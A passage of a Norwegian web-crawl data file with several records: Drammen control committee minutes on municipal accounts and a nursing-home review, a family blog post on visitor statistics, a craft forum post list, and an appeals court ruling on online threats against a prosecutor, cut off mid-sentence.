2014 er bra, men parkeringshuset p\u00e5 Str\u00f8ms\u00f8 sliter if\u00f8lge \u00f8konomisjef Paulsen fremdeles. Kontrollutvalget registrerte at gebyrstatistikken viser en betydelig nedgang i forhold til klager som gis medhold, hvilket indikerer strengere vurdering ved ileggelse av gebyr. I den sammenheng ble det reist sp\u00f8rsm\u00e5l om hvilke omr\u00e5der (geografisk) det ilegges flest gebyr. Kontrollutvalget registrerte ogs\u00e5 at foretaket har et betydelig sykefrav\u00e6r. Med utgangspunkt i de fremsatte problemstillinger \u00f8nsket kontrollutvalget \u00e5 invitere daglig leder i foretaket til \u00e5 redegj\u00f8re om disse p\u00e5 neste m\u00f8te i utvalget. Kontrollutvalgets uttalelse til \u00e5rsregnskapet for Drammen Parkering KF 2014 sendes bystyret SAK 42/15 \u00c5rsregnskapet til Drammensbadet KF for 2014 \u00d8konomisjef Paulsen viste til at driftsinntektene i 2014 var lavere enn budsjettert, noe som medf\u00f8rte underskudd p\u00e5 driften. For\u00f8vrig forekommer det betydelige tilskudd fra kommunen. If\u00f8lge revisor Fredriksen er det utstedt \u00abren\u00bb revisorberetning, hvilket betyr at regnskapet ikke inneholder vesentlige feil eller mangler. 4\n\n\n\n6 det \u00f8vrige kontrollutvalget: Forslag til vedtak i Kontrollutvalget i Drammen, fra Hilde Hovengen Frp: KU ber om at det iverksettes en ekstern gransking av Drammen Kommunes praksis ved tildeling av sykehjemsplasser. Det er viktig at kommunens tjenester b\u00e5de oppfattes som tilfredsstillende av Drammens innbyggere og objektivt sett er gode og forsvarlige. Det er etter loven innbyggernes behov som skal avgj\u00f8re kommunens tilbud ikke innbyggerne som skal ta til takke med det tilbudet kommunen har. Fylkesmannen har i innev\u00e6rende periode p\u00e5pekt to ganger at kommunens praksis er i strid med lovverket. Videre har Pasientombudet i Buskerud kommet med en bekymringsmelding. Innbyggerne vil v\u00e6re tjent med \u00e5 f\u00e5 fakta p\u00e5 bordet. Det kan kun gj\u00f8res ved en ekstern og uavhengig gransking. Innledningsvis distribuerte sekret\u00e6ren forslaget i papirform til medlemmene av kontrollutvalget. Kontrollutvalget hadde p\u00e5 leders sp\u00f8rsm\u00e5l ingen motforestillinger til \u00e5 behandle forslaget under saksposten Eventuelt. Medlem Hilde Hovengen redegjorde for bakgrunnen med forslaget, og viste til at Drammen kommune nok en gang hadde \u00abfrikjent seg selv\u00bb i forhold til praksisen med \u00e5 tildele sykehjemsplasser. Hun viste ogs\u00e5 til at hun flere ganger hadde tatt opp temaet i kontrollutvalget som hadde bagatellisert det og ikke st\u00f8ttet forslag om gransking. Leder viste til behandling av problemstillingen i Bystyrekomite helse, sosial og omsorg, hvor et flertall avviste forslag om ekstern gjennomgang. For \u00f8vrig hadde leder ingen motforestillinger mot en gjennomgang, men var sterkt kritisk til anvendelse av begrepet \u00abgransking\u00bb. Dette begrepet anvendes i ekstraordin\u00e6re situasjoner som mistanke om korrupsjon eller andre kriminelle handlinger. Slike mistanker foreligger ikke i dette tilfelle og gransking vil v\u00e6re feil ordbruk. Dette er for \u00f8vrig omtalt i Kontrollutvalgsboken. Medlem Einar Skalstad viste til kontakt med nestleder i bystyrekomiteen, som hadde gitt uttrykk for at Drammen kommune ikke bryter loven, men opptrer innenfor lovverket. Medlem Tore E. Brath konstaterte at saken hadde v\u00e6rt omgitt av mye uro og at det var fint \u00e5 starte en prosess med form\u00e5l \u00e5 rydde opp. Det vil v\u00e6re riktig og nyttig med en skikkelig unders\u00f8kelse. Brath reiste ogs\u00e5 sp\u00f8rsm\u00e5l om budsjettmessig dekning av kostnadene med en unders\u00f8kelse. For \u00f8vrig uttrykte han full tillit til og \u00f8nske om at Buskerud Kommunerevisjon IKS utf\u00f8rer oppgaven. Medlem Ida Marie Brown ga uttrykk for at det foreligger tilstrekkelig grunn til \u00e5 iverksette en unders\u00f8kelse, og at denne m\u00e5 v\u00e6re ekstern og uavhengig. Nestleder Patricia Emeci avviste p\u00e5stand om at kontrollutvalget har bagatellisert saken. Kontrollutvalget st\u00f8tter en unders\u00f8kelse av den. Leder fremmet f\u00f8lgende forslag til vedtak: 6\n\n\n\n7 Kontrollutvalget ber Buskerud Kommunerevisjon IKS gj\u00f8re en forunders\u00f8kelse om temaet \u00abDrammen kommunes praksis ved tildeling av sykehjemsplasser\u00bb i tr\u00e5d med Hilde Hovengens forslag samt de f\u00f8ringer som framkommer i forslaget og som kontrollutvalget ga i sitt m\u00f8te. Saken fremmes til endelig behandling i kontrollutvalget l\u00f8pet av juni Etter forslag fra medlem Hilde Hovengen ble det f\u00f8rst stemt over hennes forslag. Dette forslaget falt mot stemmene til Hilde Hovengen (Frp) og Ida Marie Brown (V). Deretter ble det stemt over forslaget til leder som ble enstemmig vedtatt. Kontrollutvalget ber Buskerud Kommunerevisjon IKS gj\u00f8re en forunders\u00f8kelse om temaet \u00abDrammen kommunes praksis ved tildeling av sykehjemsplasser\u00bb i tr\u00e5d med Hilde Hovengens forslag samt de f\u00f8ringer som framkommer i forslaget og som kontrollutvalget ga i sitt m\u00f8te. Saken fremmes til endelig behandling i kontrollutvalget l\u00f8pet av juni Bystyrets behandling av forvaltningsrevisjonsrapport om journalf\u00f8ring etc. Medlem Tore E. Brath viste til bystyrets behandling av kontrollutvalgets forvaltningsrevisjonsrapport om journalf\u00f8ring etc. i m\u00f8te den 28. april Ved saksfremlegget for bystyret hadde pkt. 2 i kontrollutvalgets vedtak falt bort. Dette lyder slik: Det m\u00e5 foretas en innskjerping av internkontroll knyttet til journal- og arkiveringsrutiner. Kontrollutvalget ba sekret\u00e6ren gj\u00f8re politisk sekretariat oppmerksom p\u00e5 denne \u00abglippen\u00bb. 3. Kontrollutvalgets m\u00f8te i juni 2015 Neste m\u00f8te er fastsatt til tirsdag den 9. juni Til dette m\u00f8tet inviteres daglig leder i Drammen Parkering KF for \u00e5 redegj\u00f8re om bl.a. foretakets sykefrav\u00e6r, omr\u00e5de hvor det ilegges flest parkeringsgebyr og eventuelle konsekvenser av den nye parkeringsloven. Likeledes inviteres daglig leder ved Drammen Eiendom KF for \u00e5 redegj\u00f8re om temaet \u00abfra leie til eie\u00bb. Dersom utredning om tildeling av sykehjemsplasser ikke er ferdigstilt til m\u00f8tet den 9. juni 2015, fastsettes det et nytt m\u00f8te i kontrollutvalget den 22. juni 2015 kl Leder og sekret\u00e6r bestiller servering p\u00e5 egnet bespisningssted etter m\u00f8tet den 9. juni\n\n\n\n 1 Kontrollutvalget REFERAT KONTROLLUTVALGETS M\u00d8TE 20. MARS 2013 Til stede: Medlemmer : Leder Arne Martinsen (AP), Patricia Emeci (SV), Tore E. Brath (H), Einar Skalstad (KrF), Ida Marie Brown (V) og Hilde\n\n### Vegard Ellingsen (leder), Jorunn Mathiesen (nestleder), Vidar Doknes, Ingrid Rongen, Lars Henrik \u00d8berg.\n\n, Arild Brekke (H), Per Harald Agerup (Sp), Trine Hasselg\u00e5rd B\u00f8e (KrF), Kjersti Jergel-Johnsen (Ap)\") M\u00d8TEPROTOKOLL Kontrollutvalget i Holmestrand Dato: 25.05.2016 kl. 18:30 Sted: Kantina, r\u00e5dhuset Arkivsak: 15/00012 Tilstede: M\u00f8tende varamedlemmer: Forfall: Andre: M\u00f8teleder: Protokollf\u00f8rer: Stig Atle\n\n### Ingvar Kj\u00f8rum, nestleder Heidi \u00d8rnlo, medlem Anne Lise Olafsen, medlem Trond Nauf, medlem\n", "language": "no", "__index_level_0__": "72d92377-c0ad-49a5-808b-0ec70f827e95"}
{"url": "http://tingene-vaare.blogspot.com/2011/06/publikumsstatistikk.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00375.warc.gz", "warc_date": "2018-03-24T23:34:51Z", "text": "\n\n## onsdag 15. juni 2011\n\n### Publikumsstatistikk\n\nDet er mange som skriver om blogg-statistikk, og det ER ganske morsomt \u00e5 f\u00f8lge med p\u00e5 statistikken her p\u00e5 bloggen.\n\n  \n\nFor eksempel kan vi sj\u00e5 kva for nasjonalitetar som er innom bloggen. Her ein dag var det faktisk fleire japanarar enn nordmenn innom bloggen. (3 fra Japan og 2 fra Noreg...)\n\n  \n\nOg s\u00e5 f\u00e5r vi greie p\u00e5 kva for s\u00f8keord som f\u00f8rer folk innom bloggen v\u00e5r. Dei s\u00f8keorda som lurer folk innom bloggen her er som oftest ganske logiske. S\u00f8ker ein p\u00e5 *tingene v\u00e5re*, s\u00e5, ja - \u00a0er sjansen stor for \u00e5 kommer inn her. Katteluke er ogs\u00e5 eit tema eg har v\u00e6rt innom, og dermed er det litt logisk at folk blir dirigert denne vegen med eit slikt s\u00f8k.\n\n  \n\n\nAt dei ogs\u00e5 kjem innom her ved \u00e5 s\u00f8ke p\u00e5 *moteblogg* er sj\u00f8lvsagt fullt forst\u00e5eleg\\!\n\n  \nMen kva *heppahoi* har med v\u00e5r blogg \u00e5 gjera lurer eg litt p\u00e5?\u00a0\n\n  \n\n\nKan det vera ein *heppahoi* under her kanskje??\u00a0\n\nMen eg er ganske sikker p\u00e5 \u00e5 at eg aldri har nevnt noko om det i bloggen?\n\n  \nOg kva med *fysisk avstraffelse*?\n\n\n\nHar eg virkelig skrevet noko om *fysisk avstraffelse*?? Det er stort sett dei firbeinte som driv med slikt i denne familien. Ovenfor sm\u00e5, s\u00f8te fj\u00e6rkledde vesener. Vanligvis med eit fatalt utfall. For fuglen.\n\n..men ved nermere ettertanke s\u00e5 har eg faktisk komt med innr\u00f8mmelser ogs\u00e5 n\u00e5r det gjelder dette \u00f8mt\u00e5lige tema. Det kan du lese om her...\n\n  \nStatistikken kan ogs\u00e5 fortelle meg at den 8. juni hadde denne bloggen plutselig 10 ganger fleire lesarar enn den hadde dagen f\u00f8r. Enda siste innlegg da var lagt inn 2. juni. Ogs\u00e5 dagene etterp\u00e5 holdt talet seg h\u00f8gt, men er n\u00e5 p\u00e5 veg tilbake til normalen.\n\n  \n\n\n  \nKvifor eit s\u00e5nn plutselig hopp? Har nokre av mine oppeg\u00e5ande med-bloggarar ein god forklaring? Kvifor var Tingene v\u00e5re plutselig s\u00e5 popul\u00e6r? For ein kort periode. Og akkurat i ein periode da denne bloggen har hatt ein liten kvilepause?\n\n  \n\n\n#### 10 kommentarer:\n\n1.  \n    \n    katrine15 juni, 2011\n    \n    Er selv midt i en bloggepause og er bare innom i blant.. bes\u00f8kstallet har f\u00f8ket i v\u00e6ret\\!? Hva skjer?? ;)\n    \n2.  \n    \n    Trine15 juni, 2011\n    \n    Kanskje en blogg - med et par flere f\u00f8lgere enn din egen, plutselig har linket til tingene v\u00e5re...?.... feks.  \n    Jeg f\u00e5r ikke til \u00e5 legge inn s\u00e5nn statistikk-greier. Jeg mener jeg har pr\u00f8vd \u00e5 f\u00f8lge oppskrifta.... men det ble ikke slik jeg tenkte. Ogs\u00e5 jeg som er s\u00e5 smart\\! ...... ;)\n    \n3.  \n    \n    Siven15 juni, 2011\n    \n    Ser akkurat s\u00e5nn ut hos meg ogs\u00e5. 8. juni var dagen jeg trodde jeg PLUTSELIG var blitt kjempepopul\u00e6r.  \n      \n    Det var 2 dager etter jeg skrev om Oreokake. Jeg gav den \u00e6ren for dette. :D  \n      \n    Helt til jeg leste om andre som hadde samme \"problem\". Det rare er at tallene ikke egentlig har g\u00e5tt ned igjen. Litt ned, men ikke mye..  \n      \n    Ellers humrer jeg hver gang jeg ser at noen har s\u00f8kt p\u00e5 Gullars-suppe. MANGE har gjort det\\! :D\n    \n    R\u00f8sslyng - Dikt for dagen15 juni, 2011\n    \n    Sol deg i glansen du, og ikkje bry deg s\u00e5 mykje om kvifor, s\u00e5 altfor lett \u00e5 bli skuffa;)\n    \n    Whitebite16 juni, 2011\n    \n    et bra tips er \u00e5 ha en artig (gjerne rar, gjerne engelsk) tittel p\u00e5 blogginnleggene dine, fo da f\u00e5r du mange nye (eller rare?) lesere som muligens stikker innom igjen\\! Jeg hadde feks et tulllete innlegg om Paradise hotell for evigheter siden, og dette er naturlig nok det s\u00f8keordet som leder aller FLEST folk til bloggen min..  \n    Kjekt\\! eller...er det egentlig litt deprimerende?\n    \n    Whitebite16 juni, 2011\n    \n    fo=for (hvis du lurte)\n    \n    Pia16 juni, 2011\n    \n    Ha ha, ja, da f\u00e5r du ta et hint, hvis folk styrter inn i bloggen n\u00e5r du ikke skriver noe...;)  \n    He he, nei da, men du kan jo ogs\u00e5 sjekke hvor folk kom fra? Alts\u00e5 du kan se hvilke blogger som har ledet trafikken inn til deg. Da ser du jo om noen har linka eller noe s\u00e5nt.  \n      \n    Nydelig Elise-bilde\\! I dag skal vi f\u00e5 bes\u00f8k av microsoft og lokalavisa, og her sitter jeg og skriver...Men jeg vet liksom ikke hva jeg skal gj\u00f8re...Litt sm\u00e5nerv\u00f8s.\n    \n8.  \n    \n    Shy B16 juni, 2011\n    \n    Det er visst mange som er blitt gr\u00e5dig popul\u00e6re i det siste\\!  \n    N\u00e5r det gjeld s\u00f8keord s\u00e5 er det slik at dersom nokon skriv heppahoi i kommentarfeltet, s\u00e5 kjem dei til bloggen din\\! Ha ein heppahoi fin dag :)\n    \n9.  \n    \n    Elisabeth, innerst i veien17 juni, 2011\n    \n    Ja, ha ha, p\u00e5 jobben sp\u00f8ker vi med at salgstallene er ekstra gode akkurat den uka vi alle sammen er p\u00e5 salgsm\u00f8te og ikke ute og plager kundene. \u263a  \n      \n    Er nok noe kr\u00f8ll med statistikken for tida, ja.\n    \n10. \n    lise17 juni, 2011\n    \n    Det merkeligste her er i grunnen at ikke bes\u00f8ktstallene er h\u00f8yere til vanlig, for bloggen din er et s\u00e5nt hyggelig og uformelt sted \u00e5 v\u00e6re.  \n      \n    Du f\u00e5r ikke opp hvor de bes\u00f8kende kommer fra, da? Jeg for eksempel, kommer stort sette fra google reader.\n    \n\n\nIngrid Sundal  \nFotografiene er det min mann, Roald som tar. Han knipser dagligdagse ting og situasjoner. Og viser tingene v\u00e5re, ungene og av og til hagen slik som han ser det gjennom kameralinsa.\n\n  \nOg s\u00e5 skriver eg noen kloke, velvalgte ord om desse bildene i etterkant...\n\n", "language": "no", "__index_level_0__": "a9c107e6-949d-4a8c-af87-b19fd4c1c1ed"}
{"url": "http://forum.bueforum.no/search.php?author_id=1754&sr=posts&sid=6747e4fe4c4c805b59519c6ecc8a9870", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-24T23:13:31Z", "text": "  - av J\u00e6ger  \n    24 mar 2018, 21:04\n### Re: J\u00e6gers gjerdestolper\n\nDet er nok en god ide, Lurz\\! Jeg pr\u00f8vde noen varianter av sammenrullet never og varme uten \u00e5 brenne. Spor av kleberlig gugge men ikke noe \u00e5 rope hurra for. Nytt fors\u00f8k p\u00e5 utvinning i ovnen n\u00e5: https://uploads.tapatalk-cdn.com/20180324/28cd7cb1d8c131ecbb0bfab0c2755722.jpg https://uploads.tapatalk-cdn...\n  - av J\u00e6ger  \n    24 mar 2018, 15:06\n### Re: J\u00e6gers gjerdestolper\n\n  - av J\u00e6ger  \n    24 mar 2018, 00:53\nTakk, skal passe meg Oddbj\u00f8rn. Viktig \u00e5 blote litt til verkt\u00f8ygudene.  \nLurz: Har ring, mangler presisjon. Lurer p\u00e5 om det kan kj\u00f8pes i l\u00f8svekt eller kommer det i kanner?\n\n  - av J\u00e6ger  \n    23 mar 2018, 08:29\n### Re: Tobbens tidtr\u00f8yte og andre spikk\n\n  - av J\u00e6ger  \n    20 mar 2018, 18:20\n### Re: Tobbens tidtr\u00f8yte og andre spikk\n\nEn tur til Tingvatn i dag, en del tips til drakt og s\u00f8m ved Katja. Sv\u00e6rt trivelig dag for nerdene \\[emoji4\\]  \n  \n  \n  \n  \n  - av J\u00e6ger  \n    14 mar 2018, 23:16\n\nDet flasker seg p\u00e5 blankv\u00e5penfronten. Tre Belgjin\u00f8seinspirerte til tre entusiaster, en kort sax og en lang sax/kort sverd med Thorsbjergkruseduller. Jeg gj\u00f8r det meste uten m\u00e5lb\u00e5nd eller blyant s\u00e5 det blir ikke millimeterpresisjon, til gjengjeld blir det ikke vanskelig \u00e5 se at det er h\u00e5ndlaget \\[emoj...\n  - av J\u00e6ger  \n    13 mar 2018, 11:20\n  - av J\u00e6ger  \n    13 mar 2018, 01:03\n    Emne: Hva gjorde du i dag 2018.\n  \n  \n", "language": "no", "__index_level_0__": "3cd70b80-c3c6-4821-911d-98824e6ff10a"}
{"url": "http://www.advokat-teigstad.no/oppreisning-etter-trusler-mot-offentlig-tjenestemann/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00517.warc.gz", "warc_date": "2018-03-24T23:19:30Z", "text": "# LA-2012-178022: Oppreisning etter trusler mot offentlig tjenestemann\n\n## LA-2012-178022: Oppreisning etter trusler mot offentlig tjenestemann\n\n**En mann ble\u00a0anmeldt for \u00e5 ha fremsatt trusler mot en politiadvokat og en lagmann i etterkant av en straffesak mot ham. Tiltalte hadde lagt ut truende meldinger p\u00e5 to fiktive Facebook-kontoer han hadde laget, blant annet med bilde av datteren til politiadvokaten. Politiadvokatens bistandsadvokat la ned p\u00e5stand om oppreisning etter rettens skj\u00f8nn. Tiltalte ble, i fellesstraff med tidligere dom, d\u00f8mt til 2 \u00e5r og 6 m\u00e5neder i fengsel, samt til \u00e5 betale oppreisning til den forn\u00e6rmede politiadvokaten p\u00e5 50 000 kroner.**\n\n\u00a0\nVestfold og Telemark Statsadvokatembeter har den 3. september 2012 satt A, f\u00f8dt 0.0.1953 under tiltale ved T\u00f8nsberg tingrett for overtredelse av:  \n\u00abI Straffeloven \u00a7 132a f\u00f8rste ledd b jf annet ledd jf fjerde ledd f\u00f8rste straffalternativ\n\nfor ved trusler eller annen rettsstridig adferd overfor en akt\u00f8r i rettsvesenet \u00e5 ha gjengjeldt en handling, et arbeid eller en tjeneste som akt\u00f8ren har utf\u00f8rt i forbindelse med en straffesak Med akt\u00f8r i rettsvesenet regnes bl.a. den som arbeider for p\u00e5talemyndigheten,\n\nGrunnlag:\n\nVed Oslo tingretts dom av 23. oktober 2007 ble A d\u00f8mt til 6 \u00e5rs fengsel for drapsfors\u00f8k mot sin fraskilte ektefelle B. For p\u00e5talemyndigheten ble saken behandlet av politiadvokat C, som ogs\u00e5 var aktor under hoved- og ankeforhandling, mens statsadvokat D var ansvarlig statsadvokat. Lagmann E var lagmannsrettens administrator under behandlingen av As anke. A ble pr\u00f8vel\u00f8slatt etter soning av dommen 30. oktober 2010.\n\na)\nI perioden fra juli 2011 til juli 2012 fra sin bopel i X og/eller andre steder, fremsatte han p\u00e5 to Facebookprofiler som han hadde opprettet, ved gjentatte anledninger, en lang rekke innlegg hvor tidligere politiadvokat C ble omtalt bl.a. som kriminell, korrupt, arrogant, narkoman, alkoholiker og l\u00f8gnaktig. Videre ble det gjentatt i flere av innleggene at han ikke f\u00e5r ro f\u00f8r han h\u00f8rer at C har f\u00e5tt sin straff, eller er d\u00f8d og begravet under bakken. Facebookprofilene inneholdt ogs\u00e5 bilder av skolen i Y hvor Cs barn var elever, bilde av Cs datter, bilde av A foran en likkiste drapert med norsk flagg, bilde av hvordan han feiret lagdommer Es d\u00f8d, og bilde av et speil med p\u00e5skrift \u00abI hate you\u00bb.\n\nI perioden fra juli 2011 til juli 2012 fra sin bopel i X og/eller andre steder, fremsatte han p\u00e5 to Facebookprofiler som han hadde opprettet, ved gjentatte anledninger, en lang rekke innlegg hvor statsadvokat D ble omtalt som kriminell, arrogant og uansvarlig. Videre ble det gjentatt i flere av innleggene at han ikke f\u00e5r ro f\u00f8r han h\u00f8rer at D har f\u00e5tt sin straff, eller er d\u00f8d og begravet under bakken. Facebookprofilene inneholdt ogs\u00e5 bilder av bl.a. A foran en likkiste drapert med norsk flagg, bilde av hvordan han feiret lagdommer Es d\u00f8d, og bilde av et speil med p\u00e5skrift \u00abI hate you\u00bb.  \nII Straffeloven \u00a7 390a\n\nfor ved skremmende eller plagsom opptreden eller annen hensynsl\u00f8s atferd \u00e5 ha krenket en annens fred\n\nGrunnlag:\n\na)\n\nTil tid og p\u00e5 sted som nevnt i post I a, forholdt han seg der som n\u00e6rmere beskrevet overfor C.\n\nb)\n\nTil tid og p\u00e5 sted som nevnt i post I b, forholdt han seg der som n\u00e6rmere beskrevet overfor D.\n\nT\u00f8nsberg tingrett avsa dom 24. oktober 2012 med slik domsslutning:  \n\u00ab1. A, f\u00f8dt 0.0.1953, d\u00f8mmes for to overtredelse av straffeloven \u00a7 132 a og to overtredelser av straffeloven \u00a7 390 a til fengsel i 5 \u2013 fem \u2013 m\u00e5neder, jf. straffeloven \u00a7 62. Til fradrag kommer utholdt varetekt med 107 dager.  \n2 A d\u00f8mmes videre til innen 14 \u2013 fjorten \u2013 dager fra dommens forkynnelse \u00e5 betale oppreisningserstatning til C med 10 000 \u2013 titusen 0/00 \u2013 kroner.  \n3 A d\u00f8mmes til innen 14 \u2013 fjorten \u2013 dager fra dommens forkynnelse \u00e5 betale saksomkostninger til det offentlig med 2000 \u2013 totusen \u2013 kroner.\u00bb\n\nP\u00e5talemyndigheten har anket dommen til Agder lagmannsrett. Anken gjelder straffutm\u00e5lingen og inndragningskravet. Siktede har erkl\u00e6rt motanke, jf. straffeprosessloven \u00a7 311. Anken fra siktede gjelder bevisbed\u00f8mmelsen under skyldsp\u00f8rsm\u00e5let. Forn\u00e6rmede C har anket oppreisningserstatningen.\n\nAnken fra p\u00e5talemyndigheten ble henvist til ankeforhandling ved lagmannsrettens beslutning 6. november 2012, jf. straffeprosessloven \u00a7 325, jf. \u00a7 321 tredje ledd. Motanken ble henvist til ankeforhandling ved lagmannsrettens beslutning 9. november 2012, jf. straffeprosessloven \u00a7 325, jf. \u00a7 321 tredje ledd. Siktede trakk senere motanken, og ankesaken for s\u00e5 vidt gjelder bevisanken er hevet ved lagmannsrettens kjennelse 12. februar 2013.\n\nAnkeforhandling til behandling av straffutm\u00e5lingen, inndragningen og erstatningskravet, jf. straffeprosessloven \u00a7 434 f\u00f8rste ledd, bokstav b, ble holdt i Skien 4. juni 2013. Siktede m\u00f8tte med sin forsvarer og avga forklaring. Forn\u00e6rmede C m\u00f8tte med bistandsadvokat og avga forklaring. Det ble i tillegg avh\u00f8rt to vitner. For \u00f8vrig vises til rettsboken.\n\nSakens bakgrunn, siktedes personlige forhold og tingrettens begrunnelse fremg\u00e5r av tingrettsdommen.\n\nAktor nedla slik p\u00e5stand:  \n1\\. A, f. 0.0.53, d\u00f8mmes for de forhold han ble domfelt for ved T\u00f8nsberg tingretts dom av 24. oktober 2012, og som fellesstraff med resttiden etter soning av Oslo tingretts dom av 23. oktober 2007, jfr. straffegjennomf\u00f8ringsloven \u00a7 45, jfr. straffeloven \u00a7 28 b f\u00f8rste ledd bokstav b, jfr. tredje ledd, til en straff av fengsel i 2 \u00e5r og 5 m\u00e5neder, hvorav 2 \u00e5r gj\u00f8res betinget med en pr\u00f8vetid p\u00e5 2 \u00e5r.\n\nDen ubetingede del p\u00e5 5 m\u00e5neder anses avsonet ved utholdt varetektsfengsel med i alt 137 dager.  \n2\\. A, f. 0.0.53, d\u00f8mmes til \u00e5 t\u00e5le inndragning av en b\u00e6rbar Toshiba PC X00000000 til fordel for statskassen, jfr. strl. \u00a7 35, jfr. \u00a7 37.\n\nBistandsadvokat nedla slik p\u00e5stand:\n\nA d\u00f8mmes til \u00e5 betale oppreisningserstatning til C fastsatt etter lagmannsrettens skj\u00f8nn.\n\nForsvarer nedla slik p\u00e5stand:\n\nTiltalte anses p\u00e5 mildeste m\u00e5te.\n\nLagmannsrettens vurdering:\n\nLagmannsretten er kommet til et annet resultat enn tingretten b\u00e5de n\u00e5r det gjelder straffutm\u00e5lingen, inndragningen og det sivile kravet. Til dette bemerkes:\n\nSiktede er 59 \u00e5r, samboer og har fors\u00f8rgelsesbyrde for to barn. Han lever av uf\u00f8retrygd og er uten formue. I tillegg til erstatningskravet han blir id\u00f8mt i denne saken, har han gjeld p\u00e5 om lag kr 900 000,-.\n\nSiktede er domfelt i 1989, 1992 og 1996 for blant annet bedrageri, trusler og legemsforn\u00e6rmelser. Forholdene ligger s\u00e5 langt tilbake i tid at de ikke har direkte betydning i n\u00e6rv\u00e6rende sak. Han er ogs\u00e5 domfelt i 2007 for overtredelse av straffeloven \u00a7 233 f\u00f8rste og andre ledd, jf. \u00a7 49, drapsfors\u00f8k p\u00e5 hans tidligere samboer. Straffen ble satt til fengsel i 6 \u00e5r.\n\nDet skal utm\u00e5les straff for to overtredelser av straffeloven \u00a7 132a f\u00f8rste ledd bokstav b, jf. andre ledd, jf. fjerde ledd f\u00f8rste straffalternativ og to overtredelser av straffeloven \u00a7 390a. Det b\u00e6rende element i straffutm\u00e5lingen er overtredelsene av straffeloven \u00a7 132a. Lagmannsretten viser her til tingrettens utf\u00f8rlige beskrivelse av de straffbare forholdene p\u00e5 side 4 \u2013 23 i tingrettsdommen. Dette faktum er ikke bestridt og legges til grunn som bevist utover enhver rimelig tvil. Fra tingrettens utgangspunkt for vurderingen av straffeloven \u00a7 132a p\u00e5 side 24 i tingrettsdommen hitsettes:\n\n\u00abLovens \u00a7 132a rammer motarbeidelse av rettsvesenet, og tar som nevnt sikte p\u00e5 \u00e5 beskytte det offentliges interesse i \u00e5 ha et velfungerende rettsvesen som er i stand til \u00e5 h\u00e5ndheve lovverket. Bestemmelsen ble tilf\u00f8yd i 2000, og det fremg\u00e5r av forarbeidene (herunder Ot.prp.nr.40 (1999-2000)) at bakgrunnen var signaler om at s\u00e6rlig vitner i stadig st\u00f8rre grad ble utsatt for vold og trusler om represalier. H\u00f8yesterett har flere ganger, herunder i Rt-2010-1165, lagt til grunn at de sv\u00e6rt vide strafferammene m\u00e5 anses som et entydig signal om et politisk \u00f8nske om kraftige reaksjoner mot slik adferd. H\u00f8yesterett p\u00e5peker imidlertid samtidig at de vide strafferammene som s\u00e5dan f\u00f8rst og fremst har til hensikt \u00e5 ta h\u00f8yde for organisert kriminalitets bruk av vold og trusler til systematisk motarbeidelse av rettssystemet, og derfor gir liten veiledning for bed\u00f8mmelsen i andre tilfeller.\n\nH\u00f8yesterett har flere ganger siden vedtakelsen og ikrafttredelsen hatt sp\u00f8rsm\u00e5l om utm\u00e5ling av straff for overtredelse av bestemmelsen til behandling, og har uttalt at det klare utgangspunkt vil v\u00e6re ubetinget fengsel, selv ved overtredelser i det nedre sjikt av det som rammes av straffebudet. I v\u00e5r sak er det tale om alvorlige overtredelser som p\u00e5 ingen m\u00e5te kan anses \u00e5 v\u00e6re i det nedre sjikt av bestemmelsens anvendelsesomr\u00e5de. At det m\u00e5 utm\u00e5les ubetinget fengselsstraff er p\u00e5 denne bakgrunn klart. Tatt i betraktning de betydelige samfunnsmessige interesser bestemmelsen er ment \u00e5 beskytte, er det etter rettens syn heller ingen tvil om at fengselsstraffen m\u00e5 v\u00e6re av en slik varighet at den gjenspeiler samfunnets misbilligelse av slik sterkt samfunnsskadelig adferd som domfellelsen gjelder, og dermed er egnet til \u00e5 ha den \u00f8nskede allmennpreventive s\u00e5 vel som individualpreventive effekt.\n\nDen H\u00f8yesterettspraksis som foreligger om bestemmelsen og som ikke gjelder forhold i klart nedre sjikt av det som rammes, kan synes \u00e5 antyde et straffeniv\u00e5 p\u00e5 mellom 90 dager og 6 m\u00e5neder fengsel, avhengig av overtredelsens art og alvor. Det vises i denne forbindelse til dommene inntatt i Rt-2004-233, Rt-2010-1165 og Rt-2007-1601. Det finnes ogs\u00e5 eksempel p\u00e5 at straffen er satt til 1 \u00e5rs fengsel, jf. Rt-2003-871. Her gjaldt imidlertid domfellelsen overtredelse under s\u00e6rdeles skjerpende omstendigheter.\n\nLagmannsrettspraksis har som rettskildefaktor mindre vekt, og dermed mindre interesse ved utm\u00e5lingen. Da nyere lagmannsrettspraksis likevel kan gi en indikasjon p\u00e5 hvordan H\u00f8yesteretts praksis oppfattes hva gjelder signaler om straffeniv\u00e5et knyttet til straffeloven \u00a7 132 a generelt, skal nevnes tre lagmannsrettsavgj\u00f8relser av nyere dato:\n\nLE-2011-167481 gjaldt en overtredelse som ble uttalt \u00e5 v\u00e6re i kjerneomr\u00e5det av \u00a7 132 a og en overtredelse av \u00a7 390 a, som ble p\u00e5d\u00f8mt sammen med andre alvorlige overtredelser som legemsbeskadigelse, legemsforn\u00e6rmelse, heleri samt brudd p\u00e5 narkotikalovgivningen og v\u00e5penlovgivningen. Straffen ble satt til fengsel i 8 m\u00e5neder.\n\nLB-2012-75628 gjaldt to overtredelser av \u00a7 132 a (direkte trusler overfor advokat og vitne) samt overtredelse av straffeloven \u00a7 127. Straffen ble satt til 10 m\u00e5neder fengsel, hvori inngikk 45 dagers resttid i henhold til tidligere dom.\n\nLF-2012-37485 gjaldt 4 \u2013 5 tilfeller av alvorlige trusler om \u00e5 ramme forn\u00e6rmede og dennes familie (barn), p\u00e5d\u00f8mt sammen med legemsforn\u00e6rmelse p\u00e5 grensen mot legemsbeskadigelse. Det ble uttalt at riktig straff for det tiltalebeslutningen gjaldt isolert sett var fengsel i 6 m\u00e5neder. Da straffen ble utm\u00e5lt som fellesstraff sammen med resttid fra tidligere dom ble straffen satt til fengsel i 9 m\u00e5neder.\u00bb\n\nEtter lagmannsrettens vurdering er overtredelsene i n\u00e6rv\u00e6rende sak alvorlige og omfattende. Siktede har over en periode p\u00e5 om lag ett \u00e5r fremsatt grove og gjentatte trusler, samt utvist annen rettsstridig atferd mot to ulike forn\u00e6rmede. Begge de forn\u00e6rmede hadde sentrale roller i straffesaken mot siktede som, etter anke til Borgarting lagmannsrett, endte med straff av fengsel i 6 \u00e5r 